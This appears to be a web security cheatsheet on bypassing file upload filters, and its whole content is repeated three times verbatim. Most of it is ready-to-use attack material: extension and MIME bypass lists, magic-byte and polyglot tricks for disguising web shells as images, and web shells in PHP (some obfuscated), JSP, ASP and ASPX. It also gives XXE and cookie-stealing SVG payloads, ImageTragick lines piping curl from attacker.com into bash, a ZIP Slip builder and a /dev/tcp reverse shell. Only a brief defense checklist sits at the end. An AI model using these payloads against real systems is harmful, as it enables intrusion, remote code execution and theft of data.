File Upload Bypass Cheatsheet: Extension Bypass, Magic Bytes & RCE
Thu May 28 2026
Category: Cheatsheet
Extension Blacklist Bypass
If the app blocks specific extensions, try variations:
# PHP variants
.php
.php3 .php4 .php5 .php6 .php7
.phtml .phar .phps
.PHP .Php .PHp .pHp
.php.jpg (double extension — depends on server config)
.php%00.jpg (null byte — PHP < 5.3.4)
.php;.jpg (semicolon trick — some IIS/Nginx configs)
.php.
.php_
.php%20
.php/
.pHtml
# ASP / ASPX variants
.asp .aspx .asa .asax .ascx .ashx .asmx .axd
.ASP .ASPX
# JSP variants
.jsp .jspa .jsps .jspx .jspf
.JSP
# Other server-side
.cfm .cfml (ColdFusion)
.cgi .pl (CGI/Perl)
.shtml (Server-Side Includes)
.svg (if SVG is parsed/rendered)
MIME Type Bypass
Server checks Content-Type header, not actual file:
# Original blocked request
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=--boundary
----boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
----boundary--
# Bypass: change Content-Type to an allowed type
Content-Type: image/jpeg
# or
Content-Type: image/png
Content-Type: image/gif
Content-Type: text/plain
Content-Type: application/octet-stream
Magic Bytes Bypass
Prepend the magic bytes of an allowed file type to fool content-based checks:
# GIF magic bytes (GIF89a)
echo -e 'GIF89a\n<?php system($_GET["cmd"]); ?>' > shell.php.gif
# JPEG magic bytes (\xff\xd8\xff)
printf '\xff\xd8\xff' > shell.php
echo '<?php system($_GET["cmd"]); ?>' >> shell.php
# PNG magic bytes
printf '\x89PNG\r\n\x1a\n' > shell.php
echo '<?php system($_GET["cmd"]); ?>' >> shell.php
GIF shell (most common):
GIF89a;<?php system($_GET['cmd']); ?>
Polyglot Files
A valid image that is also valid PHP/JS:
# Create JPEG/PHP polyglot
exiftool -Comment='<?php system($_GET["cmd"]); ?>' normal.jpg
cp normal.jpg shell.php.jpg
# If app executes the .jpg → PHP inside comment is executed
# GIF + PHP polyglot
python3 -c "
data = b'GIF89a' + b'\n' + b'<?php system(\$_GET[\"cmd\"]); ?>'
open('polyglot.gif', 'wb').write(data)
"
Double Extension
# Some servers execute based on FIRST extension, some on LAST
shell.php.jpg → may execute as PHP if configured
shell.jpg.php → executed as PHP on most servers
shell.php.png
shell.asp;.jpg → IIS may execute as ASP
shell.jsp%00.jpg → null byte truncation
Directory Traversal in Filename
If app uses the filename in a path:
../shell.php
../../var/www/html/shell.php
../../../shell.php
..%2fshell.php
..%2f..%2fshell.php
....//shell.php
Web Shell Payloads
PHP
<?php system($_GET['cmd']); ?>
<?php passthru($_GET['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>
<?php echo exec($_GET['cmd']); ?>
<?php @eval($_POST['cmd']); ?>
<?php $f=$_GET['f'];include($f); ?>
# One-liner with obfuscation
<?=`$_GET[0]`?>
<?php $_="\x73\x79\x73\x74\x65\x6d";$_($_GET[0]); ?>
# Full featured webshell
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
die;
}
?>
JSP
<%@ page import="java.util.*,java.io.*"%>
<%
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
InputStream in = p.getInputStream();
byte[] b = new byte[in.available()];
in.read(b);
out.print(new String(b));
%>
ASP
<%
Dim oS
Set oS = Server.CreateObject("WSCRIPT.SHELL")
os.run("cmd.exe /c " & request.form("cmd") & " > c:\inetpub\wwwroot\out.txt")
%>
ASPX
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
void Page_Load(object sender, EventArgs e) {
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + Request.QueryString["cmd"];
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.Start();
Response.Write(p.StandardOutput.ReadToEnd());
}
</script>
SVG XSS
If SVG files are rendered in the browser:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg width="500px" height="500px" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
<!-- SVG XSS -->
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)">
<rect width="100" height="100"/>
</svg>
ImageMagick — ImageTragick (CVE-2016-3714)
If uploaded images are processed by ImageMagick:
# shell.mvg or exploit.gif
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops"|curl http://attacker.com/shell.sh|bash")'
pop graphic-context
# exploit.svg
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="640px" height="480px" version="1.1" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="https://127.0.0.0/oops"|curl http://attacker.com/shell.sh|bash"" x="0" y="0" height="640px" width="480px"/>
</svg>
ZIP Slip — Path Traversal in Archives
When the server extracts uploaded ZIP files:
import zipfile
with zipfile.ZipFile('exploit.zip', 'w') as zf:
zf.write('shell.php', '../../var/www/html/shell.php')
# Shell ends up in web root after extraction
Real-World Examples
| CVE / Incident | Year | Product | Impact |
|---|---|---|---|
| CVE-2016-3714 (ImageTragick) | 2016 | ImageMagick | RCE via malicious image processing |
| CVE-2018-11776 | 2018 | Apache Struts | File upload + OGNL injection → RCE |
| ZipSlip | 2018 | Multiple (Zip extract libs) | Path traversal in ZIP → overwrite arbitrary files → RCE |
| CVE-2019-9670 | 2019 | Zimbra | File upload bypass → SSRF → RCE |
| CVE-2021-21985 | 2021 | VMware vCenter | File upload to RCE (no auth) |
| CVE-2022-26134 | 2022 | Confluence | File traversal + upload → RCE |
Example: ImageTragick (CVE-2016-3714) — Upload PNG → RCE
# Create malicious "image" (actually MVG file)
cat > exploit.png << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops"|curl http://attacker.com/$(id)|bash")'
pop graphic-context
EOF
# Upload to any site using ImageMagick for thumbnails
curl -F "[email protected]" https://target.com/upload
# ImageMagick processes the file → executes the command
# Attacker's server receives: GET /uid=33(www-data)
Example: PHP File Upload Bypass
# Blacklist blocks .php — try .phtml
cp shell.php shell.phtml
curl -F "[email protected];type=image/jpeg" https://target.com/upload
# Null byte bypass (PHP < 5.3.4)
# In Burp, change filename to: shell.php%00.jpg
# Server sees .jpg (passes check), PHP sees shell.php (executes)
# Double extension (if server passes ALL extensions to PHP)
cp shell.php "shell.php.jpg"
curl -F "[email protected]" https://target.com/upload
# Access: https://target.com/uploads/shell.php.jpg?cmd=id
Example: HTB: Inject — CVE-2022-22963 (Spring Cloud + File Upload)
# Target: Spring Boot app with file upload + cloud function
# CVE-2022-22963: SpEL injection in Spring Cloud Function routing
curl -s -X POST http://target.htb:8080/functionRouter \
-H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("id")' \
--data-raw 'data' -v
# Reverse shell
curl -X POST http://target.htb:8080/functionRouter \
-H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/attacker/4444 0>&1"})' \
--data-raw 'x'
Defense Checklist
- Whitelist only allowed extensions (e.g., jpg, png, pdf) — do not blacklist
- Validate file content (magic bytes + deep inspection) — not just extension or MIME
- Store uploaded files outside the web root or with a CDN
- Rename uploaded files on the server — never use user-provided filenames
- Disable execution of scripts in upload directories (
php_flag engine offin Apache) - Scan uploads with antivirus
- Set
Content-Disposition: attachmentfor served files — prevent inline execution in browser
References
Extension Blacklist Bypass
If the app blocks specific extensions, try variations:
# PHP variants
.php
.php3 .php4 .php5 .php6 .php7
.phtml .phar .phps
.PHP .Php .PHp .pHp
.php.jpg (double extension — depends on server config)
.php%00.jpg (null byte — PHP < 5.3.4)
.php;.jpg (semicolon trick — some IIS/Nginx configs)
.php.
.php_
.php%20
.php/
.pHtml
# ASP / ASPX variants
.asp .aspx .asa .asax .ascx .ashx .asmx .axd
.ASP .ASPX
# JSP variants
.jsp .jspa .jsps .jspx .jspf
.JSP
# Other server-side
.cfm .cfml (ColdFusion)
.cgi .pl (CGI/Perl)
.shtml (Server-Side Includes)
.svg (if SVG is parsed/rendered)
MIME Type Bypass
Server checks Content-Type header, not actual file:
# Original blocked request
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=--boundary
----boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
----boundary--
# Bypass: change Content-Type to an allowed type
Content-Type: image/jpeg
# or
Content-Type: image/png
Content-Type: image/gif
Content-Type: text/plain
Content-Type: application/octet-stream
Magic Bytes Bypass
Prepend the magic bytes of an allowed file type to fool content-based checks:
# GIF magic bytes (GIF89a)
echo -e 'GIF89a\n<?php system($_GET["cmd"]); ?>' > shell.php.gif
# JPEG magic bytes (\xff\xd8\xff)
printf '\xff\xd8\xff' > shell.php
echo '<?php system($_GET["cmd"]); ?>' >> shell.php
# PNG magic bytes
printf '\x89PNG\r\n\x1a\n' > shell.php
echo '<?php system($_GET["cmd"]); ?>' >> shell.php
GIF shell (most common):
GIF89a;<?php system($_GET['cmd']); ?>
Polyglot Files
A valid image that is also valid PHP/JS:
# Create JPEG/PHP polyglot
exiftool -Comment='<?php system($_GET["cmd"]); ?>' normal.jpg
cp normal.jpg shell.php.jpg
# If app executes the .jpg → PHP inside comment is executed
# GIF + PHP polyglot
python3 -c "
data = b'GIF89a' + b'\n' + b'<?php system(\$_GET[\"cmd\"]); ?>'
open('polyglot.gif', 'wb').write(data)
"
Double Extension
# Some servers execute based on FIRST extension, some on LAST
shell.php.jpg → may execute as PHP if configured
shell.jpg.php → executed as PHP on most servers
shell.php.png
shell.asp;.jpg → IIS may execute as ASP
shell.jsp%00.jpg → null byte truncation
Directory Traversal in Filename
If app uses the filename in a path:
../shell.php
../../var/www/html/shell.php
../../../shell.php
..%2fshell.php
..%2f..%2fshell.php
....//shell.php
Web Shell Payloads
PHP
<?php system($_GET['cmd']); ?>
<?php passthru($_GET['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>
<?php echo exec($_GET['cmd']); ?>
<?php @eval($_POST['cmd']); ?>
<?php $f=$_GET['f'];include($f); ?>
# One-liner with obfuscation
<?=`$_GET[0]`?>
<?php $_="\x73\x79\x73\x74\x65\x6d";$_($_GET[0]); ?>
# Full featured webshell
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
die;
}
?>
JSP
<%@ page import="java.util.*,java.io.*"%>
<%
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
InputStream in = p.getInputStream();
byte[] b = new byte[in.available()];
in.read(b);
out.print(new String(b));
%>
ASP
<%
Dim oS
Set oS = Server.CreateObject("WSCRIPT.SHELL")
os.run("cmd.exe /c " & request.form("cmd") & " > c:\inetpub\wwwroot\out.txt")
%>
ASPX
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
void Page_Load(object sender, EventArgs e) {
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + Request.QueryString["cmd"];
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.Start();
Response.Write(p.StandardOutput.ReadToEnd());
}
</script>
SVG XSS
If SVG files are rendered in the browser:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg width="500px" height="500px" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
<!-- SVG XSS -->
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)">
<rect width="100" height="100"/>
</svg>
ImageMagick — ImageTragick (CVE-2016-3714)
If uploaded images are processed by ImageMagick:
# shell.mvg or exploit.gif
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops"|curl http://attacker.com/shell.sh|bash")'
pop graphic-context
# exploit.svg
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="640px" height="480px" version="1.1" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="https://127.0.0.0/oops"|curl http://attacker.com/shell.sh|bash"" x="0" y="0" height="640px" width="480px"/>
</svg>
ZIP Slip — Path Traversal in Archives
When the server extracts uploaded ZIP files:
import zipfile
with zipfile.ZipFile('exploit.zip', 'w') as zf:
zf.write('shell.php', '../../var/www/html/shell.php')
# Shell ends up in web root after extraction
Real-World Examples
| CVE / Incident | Year | Product | Impact |
|---|---|---|---|
| CVE-2016-3714 (ImageTragick) | 2016 | ImageMagick | RCE via malicious image processing |
| CVE-2018-11776 | 2018 | Apache Struts | File upload + OGNL injection → RCE |
| ZipSlip | 2018 | Multiple (Zip extract libs) | Path traversal in ZIP → overwrite arbitrary files → RCE |
| CVE-2019-9670 | 2019 | Zimbra | File upload bypass → SSRF → RCE |
| CVE-2021-21985 | 2021 | VMware vCenter | File upload to RCE (no auth) |
| CVE-2022-26134 | 2022 | Confluence | File traversal + upload → RCE |
Example: ImageTragick (CVE-2016-3714) — Upload PNG → RCE
# Create malicious "image" (actually MVG file)
cat > exploit.png << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops"|curl http://attacker.com/$(id)|bash")'
pop graphic-context
EOF
# Upload to any site using ImageMagick for thumbnails
curl -F "[email protected]" https://target.com/upload
# ImageMagick processes the file → executes the command
# Attacker's server receives: GET /uid=33(www-data)
Example: PHP File Upload Bypass
# Blacklist blocks .php — try .phtml
cp shell.php shell.phtml
curl -F "[email protected];type=image/jpeg" https://target.com/upload
# Null byte bypass (PHP < 5.3.4)
# In Burp, change filename to: shell.php%00.jpg
# Server sees .jpg (passes check), PHP sees shell.php (executes)
# Double extension (if server passes ALL extensions to PHP)
cp shell.php "shell.php.jpg"
curl -F "[email protected]" https://target.com/upload
# Access: https://target.com/uploads/shell.php.jpg?cmd=id
Example: HTB: Inject — CVE-2022-22963 (Spring Cloud + File Upload)
# Target: Spring Boot app with file upload + cloud function
# CVE-2022-22963: SpEL injection in Spring Cloud Function routing
curl -s -X POST http://target.htb:8080/functionRouter \
-H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("id")' \
--data-raw 'data' -v
# Reverse shell
curl -X POST http://target.htb:8080/functionRouter \
-H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/attacker/4444 0>&1"})' \
--data-raw 'x'
Defense Checklist
- Whitelist only allowed extensions (e.g., jpg, png, pdf) — do not blacklist
- Validate file content (magic bytes + deep inspection) — not just extension or MIME
- Store uploaded files outside the web root or with a CDN
- Rename uploaded files on the server — never use user-provided filenames
- Disable execution of scripts in upload directories (
php_flag engine offin Apache) - Scan uploads with antivirus
- Set
Content-Disposition: attachmentfor served files — prevent inline execution in browser
References
Extension Blacklist Bypass
If the app blocks specific extensions, try variations:
# PHP variants
.php
.php3 .php4 .php5 .php6 .php7
.phtml .phar .phps
.PHP .Php .PHp .pHp
.php.jpg (double extension — depends on server config)
.php%00.jpg (null byte — PHP < 5.3.4)
.php;.jpg (semicolon trick — some IIS/Nginx configs)
.php.
.php_
.php%20
.php/
.pHtml
# ASP / ASPX variants
.asp .aspx .asa .asax .ascx .ashx .asmx .axd
.ASP .ASPX
# JSP variants
.jsp .jspa .jsps .jspx .jspf
.JSP
# Other server-side
.cfm .cfml (ColdFusion)
.cgi .pl (CGI/Perl)
.shtml (Server-Side Includes)
.svg (if SVG is parsed/rendered)
MIME Type Bypass
Server checks Content-Type header, not actual file:
# Original blocked request
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=--boundary
----boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
----boundary--
# Bypass: change Content-Type to an allowed type
Content-Type: image/jpeg
# or
Content-Type: image/png
Content-Type: image/gif
Content-Type: text/plain
Content-Type: application/octet-stream
Magic Bytes Bypass
Prepend the magic bytes of an allowed file type to fool content-based checks:
# GIF magic bytes (GIF89a)
echo -e 'GIF89a\n<?php system($_GET["cmd"]); ?>' > shell.php.gif
# JPEG magic bytes (\xff\xd8\xff)
printf '\xff\xd8\xff' > shell.php
echo '<?php system($_GET["cmd"]); ?>' >> shell.php
# PNG magic bytes
printf '\x89PNG\r\n\x1a\n' > shell.php
echo '<?php system($_GET["cmd"]); ?>' >> shell.php
GIF shell (most common):
GIF89a;<?php system($_GET['cmd']); ?>
Polyglot Files
A valid image that is also valid PHP/JS:
# Create JPEG/PHP polyglot
exiftool -Comment='<?php system($_GET["cmd"]); ?>' normal.jpg
cp normal.jpg shell.php.jpg
# If app executes the .jpg → PHP inside comment is executed
# GIF + PHP polyglot
python3 -c "
data = b'GIF89a' + b'\n' + b'<?php system(\$_GET[\"cmd\"]); ?>'
open('polyglot.gif', 'wb').write(data)
"
Double Extension
# Some servers execute based on FIRST extension, some on LAST
shell.php.jpg → may execute as PHP if configured
shell.jpg.php → executed as PHP on most servers
shell.php.png
shell.asp;.jpg → IIS may execute as ASP
shell.jsp%00.jpg → null byte truncation
Directory Traversal in Filename
If app uses the filename in a path:
../shell.php
../../var/www/html/shell.php
../../../shell.php
..%2fshell.php
..%2f..%2fshell.php
....//shell.php
Web Shell Payloads
PHP
<?php system($_GET['cmd']); ?>
<?php passthru($_GET['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>
<?php echo exec($_GET['cmd']); ?>
<?php @eval($_POST['cmd']); ?>
<?php $f=$_GET['f'];include($f); ?>
# One-liner with obfuscation
<?=`$_GET[0]`?>
<?php $_="\x73\x79\x73\x74\x65\x6d";$_($_GET[0]); ?>
# Full featured webshell
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
die;
}
?>
JSP
<%@ page import="java.util.*,java.io.*"%>
<%
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
InputStream in = p.getInputStream();
byte[] b = new byte[in.available()];
in.read(b);
out.print(new String(b));
%>
ASP
<%
Dim oS
Set oS = Server.CreateObject("WSCRIPT.SHELL")
os.run("cmd.exe /c " & request.form("cmd") & " > c:\inetpub\wwwroot\out.txt")
%>
ASPX
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
void Page_Load(object sender, EventArgs e) {
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + Request.QueryString["cmd"];
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.Start();
Response.Write(p.StandardOutput.ReadToEnd());
}
</script>
SVG XSS
If SVG files are rendered in the browser:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg width="500px" height="500px" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
<!-- SVG XSS -->
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)">
<rect width="100" height="100"/>
</svg>
ImageMagick — ImageTragick (CVE-2016-3714)
If uploaded images are processed by ImageMagick:
# shell.mvg or exploit.gif
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops"|curl http://attacker.com/shell.sh|bash")'
pop graphic-context
# exploit.svg
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="640px" height="480px" version="1.1" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="https://127.0.0.0/oops"|curl http://attacker.com/shell.sh|bash"" x="0" y="0" height="640px" width="480px"/>
</svg>
ZIP Slip — Path Traversal in Archives
When the server extracts uploaded ZIP files:
import zipfile
with zipfile.ZipFile('exploit.zip', 'w') as zf:
zf.write('shell.php', '../../var/www/html/shell.php')
# Shell ends up in web root after extraction
Real-World Examples
| CVE / Incident | Year | Product | Impact |
|---|---|---|---|
| CVE-2016-3714 (ImageTragick) | 2016 | ImageMagick | RCE via malicious image processing |
| CVE-2018-11776 | 2018 | Apache Struts | File upload + OGNL injection → RCE |
| ZipSlip | 2018 | Multiple (Zip extract libs) | Path traversal in ZIP → overwrite arbitrary files → RCE |
| CVE-2019-9670 | 2019 | Zimbra | File upload bypass → SSRF → RCE |
| CVE-2021-21985 | 2021 | VMware vCenter | File upload to RCE (no auth) |
| CVE-2022-26134 | 2022 | Confluence | File traversal + upload → RCE |
Example: ImageTragick (CVE-2016-3714) — Upload PNG → RCE
# Create malicious "image" (actually MVG file)
cat > exploit.png << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops"|curl http://attacker.com/$(id)|bash")'
pop graphic-context
EOF
# Upload to any site using ImageMagick for thumbnails
curl -F "[email protected]" https://target.com/upload
# ImageMagick processes the file → executes the command
# Attacker's server receives: GET /uid=33(www-data)
Example: PHP File Upload Bypass
# Blacklist blocks .php — try .phtml
cp shell.php shell.phtml
curl -F "[email protected];type=image/jpeg" https://target.com/upload
# Null byte bypass (PHP < 5.3.4)
# In Burp, change filename to: shell.php%00.jpg
# Server sees .jpg (passes check), PHP sees shell.php (executes)
# Double extension (if server passes ALL extensions to PHP)
cp shell.php "shell.php.jpg"
curl -F "[email protected]" https://target.com/upload
# Access: https://target.com/uploads/shell.php.jpg?cmd=id
Example: HTB: Inject — CVE-2022-22963 (Spring Cloud + File Upload)
# Target: Spring Boot app with file upload + cloud function
# CVE-2022-22963: SpEL injection in Spring Cloud Function routing
curl -s -X POST http://target.htb:8080/functionRouter \
-H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("id")' \
--data-raw 'data' -v
# Reverse shell
curl -X POST http://target.htb:8080/functionRouter \
-H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/attacker/4444 0>&1"})' \
--data-raw 'x'
Defense Checklist
- Whitelist only allowed extensions (e.g., jpg, png, pdf) — do not blacklist
- Validate file content (magic bytes + deep inspection) — not just extension or MIME
- Store uploaded files outside the web root or with a CDN
- Rename uploaded files on the server — never use user-provided filenames
- Disable execution of scripts in upload directories (
php_flag engine offin Apache) - Scan uploads with antivirus
- Set
Content-Disposition: attachmentfor served files — prevent inline execution in browser